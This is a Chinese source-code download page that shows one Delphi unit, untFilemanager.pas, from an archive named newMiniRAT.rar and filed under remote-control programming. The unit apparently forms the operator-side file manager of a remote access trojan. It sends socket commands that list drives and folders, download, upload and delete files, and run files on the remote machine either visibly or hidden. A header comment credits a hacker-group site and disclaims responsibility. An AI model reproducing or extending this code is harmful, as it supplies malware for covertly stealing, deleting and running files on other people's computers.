开通博客赚积分
发布资源赚积分
分类

源码开发语言/平台
当前位置：首页 > 源码/资料 > Internet/网络编程 > 远程控制编程 > 查看源码
untFilemanager.pas
资源名称：newMiniRAT.rar　[点击查看]
上传用户：sinothink
上传日期：2022-07-15
资源大小：459k
文件大小：7k
源码类别：

远程控制编程

开发平台：

Delphi

untFilemanager.pas：源码内容
  1. {南域剑盟    www.98exe.com   上兴QQ:51992
  2.  声明：程序由南域剑盟98exe.com成员网上搜集，不承担技术及版权问题}
  3. unit untFilemanager;
  5. interface
  7. uses
  8.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  9.   Dialogs, ComCtrls, StdCtrls, Menus, Winsock, untCMDList, ImgList;
  11. type
  12.   TForm4 = class(TForm)
  13.     StatusBar1: TStatusBar;
  14.     ListView1: TListView;
  15.     ComboBox1: TComboBox;
  16.     Edit1: TEdit;
  17.     PopupMenu1: TPopupMenu;
  18.     Download1: TMenuItem;
  19.     Execute1: TMenuItem;
  20.     Delete1: TMenuItem;
  21.     N1: TMenuItem;
  22.     Refresh1: TMenuItem;
  23.     Button1: TButton;
  24.     ImageList1: TImageList;
  25.     Visible1: TMenuItem;
  26.     Hidden1: TMenuItem;
  27.     Ipload1: TMenuItem;
  28.     OpenDialog1: TOpenDialog;
  29.     procedure ComboBox1Change(Sender: TObject);
  30.     procedure Refresh1Click(Sender: TObject);
  31.     procedure FormClose(Sender: TObject; var Action: TCloseAction);
  32.     procedure Button1Click(Sender: TObject);
  33.     procedure ListView1DblClick(Sender: TObject);
  34.     procedure Download1Click(Sender: TObject);
  35.     procedure Delete1Click(Sender: TObject);
  36.     procedure Visible1Click(Sender: TObject);
  37.     procedure Hidden1Click(Sender: TObject);
  38.     procedure Ipload1Click(Sender: TObject);
  39.   private
  40.     { Private declarations }
  41.   public
  42.     { Public declarations }
  43.   end;
  45. var
  46.   Form4: TForm4;
  47.   Sock : TSocket;
  48.   Data : String;
  50. implementation
  52. {$R *.dfm}
  54. procedure TForm4.ComboBox1Change(Sender: TObject);
  55. begin
  56.   ListView1.Items.Clear;
  57.   Data := IntToStr(C_REQUESTLIST)+' '+ComboBox1.Text+#10;
  58.   Sock := StrToInt(StatusBar1.Panels[0].Text);
  59.   If (Sock > 0) Then
  60.     Send(Sock, Data[1], Length(Data), 0);
  62.   Data := IntToStr(C_CURRENTPATH)+' 1'#10;
  63.   If (Sock > 0) Then
  64.     Send(Sock, Data[1], Length(Data), 0);
  65. end;
  67. procedure TForm4.Refresh1Click(Sender: TObject);
  68. begin
  69.   If (ListView1.ItemIndex = -1) Then Exit;
  70.   ListView1.Items.Clear;
  71.   Data := IntToStr(C_REQUESTLIST)+' '+Edit1.Text+#10;
  72.   Sock := StrToInt(StatusBar1.Panels[0].Text);
  73.   If (Sock > 0) Then
  74.     Send(Sock, Data[1], Length(Data), 0);
  76.   Data := IntToStr(C_CURRENTPATH)+' 1'#10;
  77.   If (Sock > 0) Then
  78.     Send(Sock, Data[1], Length(Data), 0);
  79. end;
  81. procedure TForm4.FormClose(Sender: TObject; var Action: TCloseAction);
  82. begin
  83.   StatusBar1.Panels[0].Text := '0';
  84. end;
  86. procedure TForm4.Button1Click(Sender: TObject);
  87. begin
  88.   ListView1.Items.Clear;
  89.   ComboBox1.Items.Clear;
  90.   Data := IntToStr(C_REQUESTDRIVE)+' 1'#10;
  91.   Sock := StrToInt(StatusBar1.Panels[0].Text);
  92.   If (Sock > 0) Then
  93.     Send(Sock, Data[1], Length(Data), 0);
  95.   Data := IntToStr(C_CURRENTPATH)+' 1'#10;
  96.   If (Sock > 0) Then
  97.     Send(Sock, Data[1], Length(Data), 0);
  98. end;
  100. procedure TForm4.ListView1DblClick(Sender: TObject);
  101. begin
  102.   Sock := StrToInt(StatusBar1.Panels[0].Text);
  103.   If (ListView1.ItemIndex > -1) Then
  104.     If (ListView1.ItemFocused.SubItems[1] = 'DIR') Then
  105.     Begin
  106.       Data := IntToStr(C_REQUESTLIST)+' '+Edit1.Text+ListView1.ItemFocused.Caption+#10;
  107.       ListView1.Items.Clear;
  108.       Sock := StrToInt(StatusBar1.Panels[0].Text);
  109.       If (Sock > 0) Then
  110.         Send(Sock, Data[1], Length(Data), 0);
  112.       Data := IntToStr(C_CURRENTPATH)+' 1'#10;
  113.       If (Sock > 0) Then
  114.         Send(Sock, Data[1], Length(Data), 0);
  115.     End Else
  116.     If (ListView1.ItemFocused.Caption = '..') And
  117.        (ListView1.ItemFocused.SubItems[1] = 'Go Back') Then
  118.     Begin
  119.       ListView1.Items.Clear;
  120.       Data := ExtractFilePath(Copy(Edit1.Text, 1, Length(Edit1.Text)-1));
  121.       Data := IntToStr(C_REQUESTLIST)+' '+Data+#10;
  122.       Sock := StrToInt(StatusBar1.Panels[0].Text);
  123.       If (Sock > 0) Then
  124.         Send(Sock, Data[1], Length(Data), 0);
  126.       Data := IntToStr(C_CURRENTPATH)+' 1'#10;
  127.       If (Sock > 0) Then
  128.         Send(Sock, Data[1], Length(Data), 0);
  129.     End Else
  130.     Begin
  131.       Data := IntToStr(C_GETFILE) + ' ' + Edit1.Text + ListView1.ItemFocused.Caption +#10;
  132.       If (Sock > 0) Then
  133.         Send(Sock, Data[1], Length(Data), 0);
  134.     End;
  135. end;
  137. procedure TForm4.Download1Click(Sender: TObject);
  138. begin
  139.   If (ListView1.ItemIndex = -1) Then Exit;
  140.   If (ListView1.ItemFocused.SubItems[1] = 'DIR') Then
  141.   Begin
  142.     MessageBox(0, 'You cant download whole directories.', 'Error', mb_ok or mb_iconhand);
  143.     Exit;
  144.   End;
  146.   Sock := StrToInt(StatusBar1.Panels[0].Text);
  147.   Data := IntToStr(C_GETFILE) + ' ' + Edit1.Text + ListView1.ItemFocused.Caption +#10;
  148.   If (Sock > 0) Then
  149.     Send(Sock, Data[1], Length(Data), 0);
  150. end;
  152. procedure TForm4.Delete1Click(Sender: TObject);
  153. begin
  154.   If (ListView1.ItemIndex = -1) Then Exit;
  155.   If (ListView1.ItemFocused.SubItems[1] = 'DIR') Then
  156.   Begin
  157.     MessageBox(0, 'You cant delete whole directories.', 'Error', mb_ok or mb_iconhand);
  158.     Exit;
  159.   End;
  161.   Sock := StrToInt(StatusBar1.Panels[0].Text);
  162.   Data := IntToStr(C_DELETE) + ' ' + Edit1.Text + ListView1.ItemFocused.Caption +#10;
  163.   If (Sock > 0) Then
  164.     Send(Sock, Data[1], Length(Data), 0);
  166.   Refresh1.Click;
  167. end;
  169. procedure TForm4.Visible1Click(Sender: TObject);
  170. begin
  171.   If (ListView1.ItemIndex = -1) Then Exit;
  172.   If (ListView1.ItemFocused.SubItems[1] = 'DIR') Then
  173.   Begin
  174.     MessageBox(0, 'You cant execute whole directories.', 'Error', mb_ok or mb_iconhand);
  175.     Exit;
  176.   End;
  178.   Sock := StrToInt(StatusBar1.Panels[0].Text);
  179.   Data := IntToStr(C_EXECUTE) + ' 1 ' + Edit1.Text + ListView1.ItemFocused.Caption +#10;
  180.   If (Sock > 0) Then
  181.     Send(Sock, Data[1], Length(Data), 0);
  182. end;
  184. procedure TForm4.Hidden1Click(Sender: TObject);
  185. begin
  186.   If (ListView1.ItemIndex = -1) Then Exit;
  187.   If (ListView1.ItemFocused.SubItems[1] = 'DIR') Then
  188.   Begin
  189.     MessageBox(0, 'You cant execute whole directories.', 'Error', mb_ok or mb_iconhand);
  190.     Exit;
  191.   End;  
  193.   Sock := StrToInt(StatusBar1.Panels[0].Text);
  194.   Data := IntToStr(C_EXECUTE) + ' 0 ' + Edit1.Text + ListView1.ItemFocused.Caption +#10;
  195.   If (Sock > 0) Then
  196.     Send(Sock, Data[1], Length(Data), 0);
  197. end;
  199. Function GetFileSize(FileName: String): Int64;
  200. Var
  201.   H     :THandle;
  202.   Data  :TWIN32FindData;
  203. Begin
  204.   Result := -1;
  205.   H := FindFirstFile(pChar(FileName), Data);
  206.   If (H <> INVALID_HANDLE_VALUE) Then
  207.   Begin
  208.     Windows.FindClose(H);
  209.     Result := Int64(Data.nFileSizeHigh) SHL 32 + Data.nFileSizeLow;
  210.   End;
  211. End;
  213. procedure TForm4.Ipload1Click(Sender: TObject);
  214. begin
  215.   If OpenDialog1.Execute Then
  216.   Begin
  217.     Sock := StrToInt(StatusBar1.Panels[0].Text);
  218.     Data := IntToStr(C_PUTFILE) + ' ' +
  219.             IntToStr(GetFileSize(OpenDialog1.FileName)) + ' ' +
  220.             Edit1.Text + ExtractFileName(OpenDialog1.FileName) + #1' ' +
  221.             OpenDialog1.FileName + #10;
  222.     If (Sock > 0) Then
  223.       Send(Sock, Data[1], Length(Data), 0);
  224.   End;
  225. end;
  227. end.